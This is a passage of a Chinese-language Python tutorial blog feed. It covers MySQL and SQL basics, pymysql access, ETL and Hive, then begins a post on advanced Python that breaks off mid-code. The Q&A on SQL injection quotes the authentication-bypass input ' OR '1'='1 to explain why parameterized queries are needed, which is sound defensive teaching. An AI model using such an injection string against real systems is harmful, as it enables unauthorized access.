&lt;td&gt;表 Table&lt;/td&gt;
&lt;td&gt;行（记录）+ 列（字段）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;主键 Primary Key&lt;/td&gt;
&lt;td&gt;唯一标识一行，非空且唯一&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;外键 Foreign Key&lt;/td&gt;
&lt;td&gt;关联另一张表的主键&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;索引 Index&lt;/td&gt;
&lt;td&gt;加速查询的数据结构&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;事务 Transaction&lt;/td&gt;
&lt;td&gt;一组操作，要么全成功要么全失败&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;# 安装 MySQL（Ubuntu）
sudo apt install mysql-server
sudo systemctl start mysql

# 连接
mysql -u root -p

# 基本命令
SHOW DATABASES;              # 查看所有数据库
CREATE DATABASE shop;        # 建库
USE shop;                    # 选择数据库
SHOW TABLES;                 # 查看所有表
DESC users;                  # 查看表结构
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;二、SQL 之 DDL（数据定义）&lt;/h2&gt;
&lt;p&gt;DDL 用于定义数据库结构（库、表、字段）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-- 建表
CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT,        -- 自增主键
    username VARCHAR(50) NOT NULL UNIQUE,     -- 非空且唯一
    email VARCHAR(100),
    age INT DEFAULT 0,                        -- 默认值
    balance DECIMAL(10, 2),                   -- 精确小数（金额）
    created_at DATETIME DEFAULT CURRENT_TIMESTAMP
);

-- 修改表
ALTER TABLE users ADD COLUMN phone VARCHAR(20);       -- 加列
ALTER TABLE users MODIFY COLUMN age SMALLINT;         -- 改列类型
ALTER TABLE users DROP COLUMN phone;                  -- 删列
ALTER TABLE users RENAME TO members;                  -- 改表名

-- 删除表 / 库
DROP TABLE IF EXISTS users;
DROP DATABASE IF EXISTS shop;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;常用数据类型&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;INT / BIGINT&lt;/td&gt;
&lt;td&gt;整数 / 大整数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DECIMAL(M,D)&lt;/td&gt;
&lt;td&gt;精确小数（金额必用，避免 float 精度问题）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VARCHAR(n)&lt;/td&gt;
&lt;td&gt;变长字符串&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CHAR(n)&lt;/td&gt;
&lt;td&gt;定长字符串&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TEXT&lt;/td&gt;
&lt;td&gt;大文本&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DATE / DATETIME / TIMESTAMP&lt;/td&gt;
&lt;td&gt;日期 / 日期时间 / 时间戳&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JSON&lt;/td&gt;
&lt;td&gt;JSON 类型（MySQL 5.7+）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BOOLEAN&lt;/td&gt;
&lt;td&gt;布尔（实际是 TINYINT）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;三、SQL 之 DML（数据操作）&lt;/h2&gt;
&lt;p&gt;DML 用于增删改数据。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-- 插入
INSERT INTO users (username, email, age) VALUES (&apos;tom&apos;, &apos;tom@x.com&apos;, 25);
INSERT INTO users (username, age) VALUES (&apos;amy&apos;, 30), (&apos;bob&apos;, 28);   -- 批量

-- 更新
UPDATE users SET age = 26 WHERE username = &apos;tom&apos;;
UPDATE users SET age = age + 1 WHERE age &amp;lt; 30;   -- 表达式更新

-- 删除
DELETE FROM users WHERE id = 1;
DELETE FROM users;                 -- 删所有行（可回滚）
TRUNCATE TABLE users;              -- 清空表（更快，不可回滚，重置自增）
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
&lt;code&gt;UPDATE&lt;/code&gt; / &lt;code&gt;DELETE&lt;/code&gt; &lt;strong&gt;一定要带 WHERE&lt;/strong&gt;！不带条件会修改/删除全表数据，是生产事故高发区。执行前先用相同 WHERE 跑一遍 &lt;code&gt;SELECT&lt;/code&gt; 确认影响范围。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;四、SQL 之 DQL（数据查询，重点）&lt;/h2&gt;
&lt;p&gt;查询是 SQL 最核心、最复杂的部分。&lt;/p&gt;
&lt;h3&gt;基本查询&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;-- 投影与别名
SELECT username AS name, age FROM users;
SELECT * FROM users;                       -- 查所有列（生产慎用）

-- 筛选 WHERE
SELECT * FROM users WHERE age &amp;gt; 18;
SELECT * FROM users WHERE age BETWEEN 18 AND 30;
SELECT * FROM users WHERE username IN (&apos;tom&apos;, &apos;amy&apos;);
SELECT * FROM users WHERE username LIKE &apos;t%&apos;;     -- 模糊（% 任意多，_ 单个）
SELECT * FROM users WHERE email IS NULL;          -- 空值判断用 IS NULL
SELECT * FROM users WHERE age &amp;gt; 18 AND balance &amp;gt; 100;

-- 去重
SELECT DISTINCT city FROM users;

-- 排序（ASC 升序默认，DESC 降序）
SELECT * FROM users ORDER BY age DESC, username ASC;

-- 分页（LIMIT 偏移量, 条数）
SELECT * FROM users ORDER BY id LIMIT 10 OFFSET 20;   -- 跳过20取10条
SELECT * FROM users LIMIT 20, 10;                     -- 等价写法
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;聚合与分组&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;-- 聚合函数
SELECT COUNT(*) FROM users;                    -- 计数
SELECT AVG(age), MAX(balance), MIN(balance), SUM(balance) FROM users;

-- 分组 GROUP BY
SELECT city, COUNT(*) AS num, AVG(age) AS avg_age
FROM users
GROUP BY city;

-- 分组后筛选 HAVING（WHERE 不能用聚合函数，HAVING 可以）
SELECT city, COUNT(*) AS num
FROM users
GROUP BY city
HAVING COUNT(*) &amp;gt; 10;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
&lt;strong&gt;WHERE vs HAVING&lt;/strong&gt;：&lt;code&gt;WHERE&lt;/code&gt; 在分组&lt;strong&gt;前&lt;/strong&gt;过滤行，不能用聚合函数；&lt;code&gt;HAVING&lt;/code&gt; 在分组&lt;strong&gt;后&lt;/strong&gt;过滤组，可以用聚合函数。执行顺序：FROM → WHERE → GROUP BY → HAVING → SELECT → ORDER BY → LIMIT。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;多表连接（JOIN）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;-- 假设有 orders 表：orders(id, user_id, amount)

-- 内连接：只返回两表都匹配的行
SELECT u.username, o.amount
FROM users u
INNER JOIN orders o ON u.id = o.user_id;

-- 左连接：返回左表全部 + 右表匹配（无匹配为 NULL）
SELECT u.username, o.amount
FROM users u
LEFT JOIN orders o ON u.id = o.user_id;

-- 右连接：返回右表全部
SELECT u.username, o.amount
FROM users u
RIGHT JOIN orders o ON u.id = o.user_id;

-- 自连接（表和自己连）
SELECT e.name AS 员工, m.name AS 上级
FROM employees e
LEFT JOIN employees m ON e.manager_id = m.id;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;连接类型示意：
内连接 INNER JOIN     A ∩ B          （交集）
左连接 LEFT JOIN      A 全部 + B匹配  （A 为主）
右连接 RIGHT JOIN     B 全部 + A匹配  （B 为主）
全连接 FULL JOIN      A ∪ B          （并集，MySQL 不支持，用 UNION 模拟）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;子查询与窗口函数&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;-- 子查询：嵌套在另一个查询里
SELECT username FROM users
WHERE age &amp;gt; (SELECT AVG(age) FROM users);      -- 大于平均年龄

SELECT * FROM users
WHERE id IN (SELECT user_id FROM orders WHERE amount &amp;gt; 1000);

-- 窗口函数（MySQL 8.0+）：不合并行，做组内计算
-- 每个城市内按余额排名
SELECT username, city, balance,
    RANK() OVER (PARTITION BY city ORDER BY balance DESC) AS rk,
    ROW_NUMBER() OVER (PARTITION BY city ORDER BY balance DESC) AS rn,
    SUM(balance) OVER (PARTITION BY city) AS city_total
FROM users;
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;窗口函数&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ROW_NUMBER()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;连续序号 1,2,3,4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RANK()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;排名（并列跳号）1,2,2,4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DENSE_RANK()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;排名（并列不跳号）1,2,2,3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;LAG(col, n)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;取前 n 行的值&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;LEAD(col, n)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;取后 n 行的值&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;五、SQL 之 DCL（数据控制）&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;-- 创建用户
CREATE USER &apos;app&apos;@&apos;localhost&apos; IDENTIFIED BY &apos;password&apos;;

-- 授权
GRANT SELECT, INSERT ON shop.* TO &apos;app&apos;@&apos;localhost&apos;;   -- 授予某库权限
GRANT ALL PRIVILEGES ON shop.* TO &apos;admin&apos;@&apos;%&apos;;         -- 授予全部权限
FLUSH PRIVILEGES;                                       -- 刷新权限

-- 回收权限
REVOKE INSERT ON shop.* FROM &apos;app&apos;@&apos;localhost&apos;;

-- 删除用户
DROP USER &apos;app&apos;@&apos;localhost&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;六、视图、函数与存储过程&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;-- 视图：把复杂查询封装成&quot;虚拟表&quot;
CREATE VIEW active_users AS
SELECT id, username, email FROM users WHERE age &amp;gt; 18;
SELECT * FROM active_users;              -- 像查表一样用

-- 存储过程：封装一段可复用的 SQL 逻辑
DELIMITER //
CREATE PROCEDURE get_user_count(OUT total INT)
BEGIN
    SELECT COUNT(*) INTO total FROM users;
END //
DELIMITER ;
CALL get_user_count(@n);                 -- 调用
SELECT @n;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;七、索引&lt;/h2&gt;
&lt;h3&gt;索引原理&lt;/h3&gt;
&lt;p&gt;索引用 &lt;strong&gt;B+ 树&lt;/strong&gt;结构加速查询，把全表扫描 O(n) 降到 O(log n)，但会占用空间、拖慢写入。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-- 创建索引
CREATE INDEX idx_username ON users(username);         -- 普通索引
CREATE UNIQUE INDEX idx_email ON users(email);        -- 唯一索引
CREATE INDEX idx_city_age ON users(city, age);        -- 复合索引
CREATE INDEX idx_name ON users(username(10));         -- 前缀索引（长字符串）

-- 查看 / 删除
SHOW INDEX FROM users;
DROP INDEX idx_username ON users;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;执行计划（EXPLAIN）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;-- 分析查询是否用到索引
EXPLAIN SELECT * FROM users WHERE username = &apos;tom&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;关键字段&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;type&lt;/td&gt;
&lt;td&gt;访问类型，性能：system &amp;gt; const &amp;gt; eq_ref &amp;gt; ref &amp;gt; range &amp;gt; index &amp;gt; ALL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;key&lt;/td&gt;
&lt;td&gt;实际使用的索引&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;rows&lt;/td&gt;
&lt;td&gt;预估扫描行数（越少越好）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Extra&lt;/td&gt;
&lt;td&gt;Using index（覆盖索引，好）/ Using filesort（需优化）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;索引使用注意事项&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;✅ 该建索引的场景：
- WHERE、JOIN、ORDER BY、GROUP BY 频繁用到的列
- 区分度高的列（如用户名、订单号）
- 复合索引遵循&quot;最左前缀&quot;原则

❌ 索引失效的场景：
- 对索引列做运算/函数：WHERE YEAR(created_at)=2026（改用范围）
- 隐式类型转换：WHERE phone = 138xxx（phone 是字符串却传数字）
- LIKE &apos;%xxx&apos; 以通配符开头
- 复合索引不满足最左前缀
- OR 连接非索引列
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;八、Python 接入 MySQL&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;pip install pymysql        # 或 mysql-connector-python
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;import pymysql

# 1. 创建连接
conn = pymysql.connect(
    host=&quot;localhost&quot;,
    port=3306,
    user=&quot;root&quot;,
    password=&quot;your_password&quot;,      # 生产用环境变量
    database=&quot;shop&quot;,
    charset=&quot;utf8mb4&quot;,
    cursorclass=pymysql.cursors.DictCursor,   # 结果返回字典
)

try:
    # 2. 获取游标
    with conn.cursor() as cursor:
        # 3. 执行 SQL（用参数化查询防 SQL 注入！）
        sql = &quot;SELECT * FROM users WHERE age &amp;gt; %s&quot;
        cursor.execute(sql, (18,))          # 参数用元组，%s 占位

        # 4. 抓取数据
        rows = cursor.fetchall()            # 取全部
        # one = cursor.fetchone()           # 取一条
        # many = cursor.fetchmany(10)       # 取多条
        for row in rows:
            print(row[&quot;username&quot;], row[&quot;age&quot;])

        # 增删改需要提交事务
        cursor.execute(
            &quot;INSERT INTO users (username, age) VALUES (%s, %s)&quot;,
            (&quot;new_user&quot;, 20),
        )
        conn.commit()                       # 提交
except Exception as e:
    conn.rollback()                         # 出错回滚
    print(f&quot;数据库错误：{e}&quot;)
finally:
    conn.close()                            # 释放连接
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
&lt;strong&gt;绝不要用字符串拼接 SQL&lt;/strong&gt;（&lt;code&gt;f&quot;SELECT * FROM users WHERE name=&apos;{name}&apos;&quot;&lt;/code&gt;）！这会导致 &lt;strong&gt;SQL 注入&lt;/strong&gt;攻击。永远用 &lt;code&gt;%s&lt;/code&gt; 占位符 + 参数元组，让驱动做转义。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;编写 ETL 脚本&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# ETL：Extract（提取）→ Transform（转换）→ Load（加载）
def etl_example():
    # Extract：从源库读取
    with conn.cursor() as cursor:
        cursor.execute(&quot;SELECT id, username, balance FROM users&quot;)
        rows = cursor.fetchall()

    # Transform：清洗转换
    cleaned = [
        {&quot;id&quot;: r[&quot;id&quot;], &quot;name&quot;: r[&quot;username&quot;].strip().upper(),
         &quot;level&quot;: &quot;VIP&quot; if r[&quot;balance&quot;] &amp;gt; 1000 else &quot;普通&quot;}
        for r in rows if r[&quot;balance&quot;] is not None
    ]

    # Load：写入目标表
    with conn.cursor() as cursor:
        cursor.executemany(
            &quot;INSERT INTO user_summary (id, name, level) VALUES (%s,%s,%s)&quot;,
            [(c[&quot;id&quot;], c[&quot;name&quot;], c[&quot;level&quot;]) for c in cleaned],
        )
        conn.commit()
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;九、Hive 入门（大数据）&lt;/h2&gt;
&lt;p&gt;Hive 是建立在 Hadoop 上的数据仓库工具，用类 SQL（HQL）查询 HDFS 上的海量数据。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-- Hive 适合离线大数据分析（TB/PB 级），不适合在线事务

-- 建表
CREATE TABLE logs (
    user_id INT,
    action STRING,
    ts TIMESTAMP
)
PARTITIONED BY (dt STRING);        -- 按日期分区（重要优化）

-- 加载数据
LOAD DATA INPATH &apos;/data/logs&apos; INTO TABLE logs PARTITION (dt=&apos;2026-09-18&apos;);

-- 查询（和 MySQL 语法基本一致）
SELECT user_id, COUNT(*) AS cnt
FROM logs
WHERE dt = &apos;2026-09-18&apos;            -- 分区过滤，避免全表扫描
GROUP BY user_id;

-- 性能优化要点：
-- 1. 分区裁剪：WHERE 带上分区字段
-- 2. 只选需要的列（列式存储 ORC/Parquet）
-- 3. 小表用 MAP JOIN
-- 4. 避免 COUNT(DISTINCT)，改用 GROUP BY 后计数
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;常见问题 Q&amp;amp;A&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1：MySQL 和 Hive 的区别？&lt;/strong&gt;
A：MySQL 是 OLTP（在线事务处理），面向业务系统，毫秒级响应，数据量 GB 级；Hive 是 OLAP（在线分析处理），面向数据仓库，分钟级响应，数据量 TB/PB 级，用于离线分析。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2：为什么金额字段要用 DECIMAL 不用 FLOAT？&lt;/strong&gt;
A：FLOAT/DOUBLE 是二进制浮点，有精度误差（&lt;code&gt;0.1 + 0.2 != 0.3&lt;/code&gt;）。金额必须用 &lt;code&gt;DECIMAL(M,D)&lt;/code&gt; 精确定点数，避免&quot;少一分钱&quot;的账务问题。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3：&lt;code&gt;DELETE&lt;/code&gt;、&lt;code&gt;TRUNCATE&lt;/code&gt;、&lt;code&gt;DROP&lt;/code&gt; 区别？&lt;/strong&gt;
A：&lt;code&gt;DELETE&lt;/code&gt; 删行（可带 WHERE，可回滚，DML）；&lt;code&gt;TRUNCATE&lt;/code&gt; 清空整表（不可回滚，重置自增，DDL）；&lt;code&gt;DROP&lt;/code&gt; 删表结构+数据（表都没了）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q4：什么是 SQL 注入？怎么防？&lt;/strong&gt;
A：把用户输入拼进 SQL，攻击者可输入 &lt;code&gt;&apos; OR &apos;1&apos;=&apos;1&lt;/code&gt; 绕过验证。防护：&lt;strong&gt;永远用参数化查询&lt;/strong&gt;（&lt;code&gt;%s&lt;/code&gt; 占位符），不要字符串拼接；输入校验；最小权限。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q5：&lt;code&gt;WHERE&lt;/code&gt; 和 &lt;code&gt;HAVING&lt;/code&gt; 到底怎么选？&lt;/strong&gt;
A：过滤&lt;strong&gt;行&lt;/strong&gt;（分组前）用 &lt;code&gt;WHERE&lt;/code&gt;；过滤&lt;strong&gt;组&lt;/strong&gt;（分组后，含聚合函数如 &lt;code&gt;COUNT(*)&amp;gt;10&lt;/code&gt;）用 &lt;code&gt;HAVING&lt;/code&gt;。能用 WHERE 提前过滤就别放到 HAVING，性能更好。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q6：复合索引 &lt;code&gt;(a, b, c)&lt;/code&gt; 怎么用才生效？&lt;/strong&gt;
A：遵循&lt;strong&gt;最左前缀&lt;/strong&gt;原则。&lt;code&gt;WHERE a=?&lt;/code&gt;、&lt;code&gt;WHERE a=? AND b=?&lt;/code&gt;、&lt;code&gt;WHERE a=? AND b=? AND c=?&lt;/code&gt; 能用；但 &lt;code&gt;WHERE b=?&lt;/code&gt;（跳过 a）用不上。范围查询（&lt;code&gt;&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;&lt;/code&gt;、&lt;code&gt;LIKE&lt;/code&gt;）后的列也用不上索引。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q7：连接池有什么用？&lt;/strong&gt;
A：频繁创建/销毁数据库连接开销大。连接池（如 DBUtils、SQLAlchemy）预先建好一批连接复用，大幅提升性能。生产环境必用连接池，ORM（SQLAlchemy/Django ORM）通常自带。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;数据库速记&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;SQL 四类&lt;/strong&gt;：DDL（建改删表 CREATE/ALTER/DROP）、DML（增删改 INSERT/UPDATE/DELETE）、DQL（查询 SELECT）、DCL（权限 GRANT/REVOKE）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;查询顺序&lt;/strong&gt;：FROM → WHERE → GROUP BY → HAVING → SELECT → ORDER BY → LIMIT&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WHERE vs HAVING&lt;/strong&gt;：分组前过滤行用 WHERE，分组后过滤组用 HAVING&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JOIN&lt;/strong&gt;：INNER（交集）、LEFT（左全）、RIGHT（右全）；ON 写连接条件&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;窗口函数&lt;/strong&gt;：&lt;code&gt;ROW_NUMBER/RANK/DENSE_RANK OVER(PARTITION BY ... ORDER BY ...)&lt;/code&gt;，不合并行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;索引&lt;/strong&gt;：B+ 树，加速读拖慢写；最左前缀；&lt;code&gt;EXPLAIN&lt;/code&gt; 看执行计划&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;索引失效&lt;/strong&gt;：列上运算/函数、隐式类型转换、&lt;code&gt;LIKE &apos;%x&apos;&lt;/code&gt;、不满足最左前缀&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Python 接入&lt;/strong&gt;：pymysql，游标 execute + &lt;code&gt;%s&lt;/code&gt; 参数化，事务 commit/rollback&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;防注入&lt;/strong&gt;：永远参数化查询，不拼接 SQL&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hive&lt;/strong&gt;：离线大数据分析，分区裁剪是关键优化&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/python-roadmap-09-django-basics/&quot;&gt;Django 入门&lt;/a&gt; 将进入 Web 开发，讲解 Django 框架快速上手、ORM 模型与 CRUD、静态资源与 Ajax、Cookie 和 Session、报表日志以及中间件的应用。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/python-roadmap-00-overview/&quot;&gt;Python 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/python-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Python 语言进阶</title><link>http://117.72.32.87/blog/posts/python-roadmap-07-advanced/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/python-roadmap-07-advanced/</guid><description>Python 进阶核心：数据结构与算法基础、迭代器与生成器（yield）、并发编程（多线程/多进程/异步 IO 与 GIL），以及 Web 前端入门（HTML/CSS/JavaScript/Vue）概览。</description><pubDate>Fri, 18 Sep 2026 04:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文对应仓库 &lt;strong&gt;Day31~35（语言进阶 + Web 前端入门）&lt;/strong&gt;：数据结构与算法、迭代器与生成器、并发编程。这些是从&quot;能用 Python&quot;到&quot;用好 Python&quot;的分水岭，尤其并发编程是后端/爬虫的核心能力。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;一、数据结构与算法基础&lt;/h2&gt;
&lt;h3&gt;常见数据结构&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;结构&lt;/th&gt;
&lt;th&gt;Python 实现&lt;/th&gt;
&lt;th&gt;特点&lt;/th&gt;
&lt;th&gt;典型操作复杂度&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;数组/列表&lt;/td&gt;
&lt;td&gt;&lt;code&gt;list&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;有序、可变、按索引&lt;/td&gt;
&lt;td&gt;索引 O(1)，插入/删除 O(n)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;栈&lt;/td&gt;
&lt;td&gt;&lt;code&gt;list&lt;/code&gt; / &lt;code&gt;collections.deque&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;后进先出 LIFO&lt;/td&gt;
&lt;td&gt;push/pop O(1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;队列&lt;/td&gt;
&lt;td&gt;&lt;code&gt;collections.deque&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;先进先出 FIFO&lt;/td&gt;
&lt;td&gt;两端 O(1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;哈希表&lt;/td&gt;
&lt;td&gt;&lt;code&gt;dict&lt;/code&gt; / &lt;code&gt;set&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;键值映射、去重&lt;/td&gt;
&lt;td&gt;查找/插入 O(1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;链表&lt;/td&gt;
&lt;td&gt;需自己实现&lt;/td&gt;
&lt;td&gt;插入删除快&lt;/td&gt;
&lt;td&gt;查找 O(n)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;堆&lt;/td&gt;
&lt;td&gt;&lt;code&gt;heapq&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;优先队列&lt;/td&gt;
&lt;td&gt;取最值 O(1)，插入 O(log n)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;from collections import deque, Counter, defaultdict
import heapq

# 栈（用 list）
stack = []
stack.append(1)        # 入栈
stack.pop()            # 出栈（末尾）

# 队列（用 deque，两端操作都是 O(1)）
queue = deque()
queue.append(1)        # 入队（右）
queue.popleft()        # 出队（左）

# 堆（优先队列）
heap = []
heapq.heappush(heap, 3)
heapq.heappush(heap, 1)
print(heapq.heappop(heap))    # 1（总是弹出最小值）

# defaultdict（带默认值的字典）
d = defaultdict(list)
d[&quot;key&quot;].append(1)            # 不用先判断 key 是否存在
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;常见算法&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 冒泡排序（O(n²)，教学用）
def bubble_sort(arr):
    n = len(arr)
    for i in range(n):
        for j in range(0, n-i-1):
            if arr[j] &amp;gt; arr[j+1]:
                arr[j], arr[j+1] = arr[j+1], arr[j]
    return arr

# 二分查找（O(log n)，要求有序）
def binary_search(arr, target):
    left, right = 0, len(arr) - 1
    while left &amp;lt;= right:
        mid = (left + right) // 2
        if arr[mid] == target:
            return mid
        elif arr[mid] &amp;lt; target:
            left = mid + 1
        else:
            right = mid - 1
    return -1

# 实际开发直接用内置（Timsort，O(n log n)）
sorted([3, 1, 2])          # 排序
[3,1,2].sort()
import bisect
bisect.bisect_left([1,2,3], 2)   # 二分查找位置
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;时间复杂度速查&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;O(1)     常数      字典/集合查找、列表索引
O(log n) 对数      二分查找
O(n)     线性      遍历列表
O(n log n) 线性对数  高效排序（快排/归并/Timsort）
O(n²)    平方      双重循环、冒泡排序
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;二、迭代器与生成器&lt;/h2&gt;
&lt;h3&gt;可迭代对象与迭代器&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 可迭代对象（Iterable）：实现 __iter__，能被 for 遍历
# 迭代器（Iterator）：实现 __iter__ 和 __next__，能被 next() 取值

nums = [1, 2, 3]
it = iter(nums)              # 获取迭代器
print(next(it))              # 1
print(next(it))              # 2
print(next(it))              # 3
# print(next(it))            # StopIteration 异常

# 自定义迭代器类
class Countdown:
    def __init__(self, start):
        self.start = start
    def __iter__(self):
        return self
    def __next__(self):
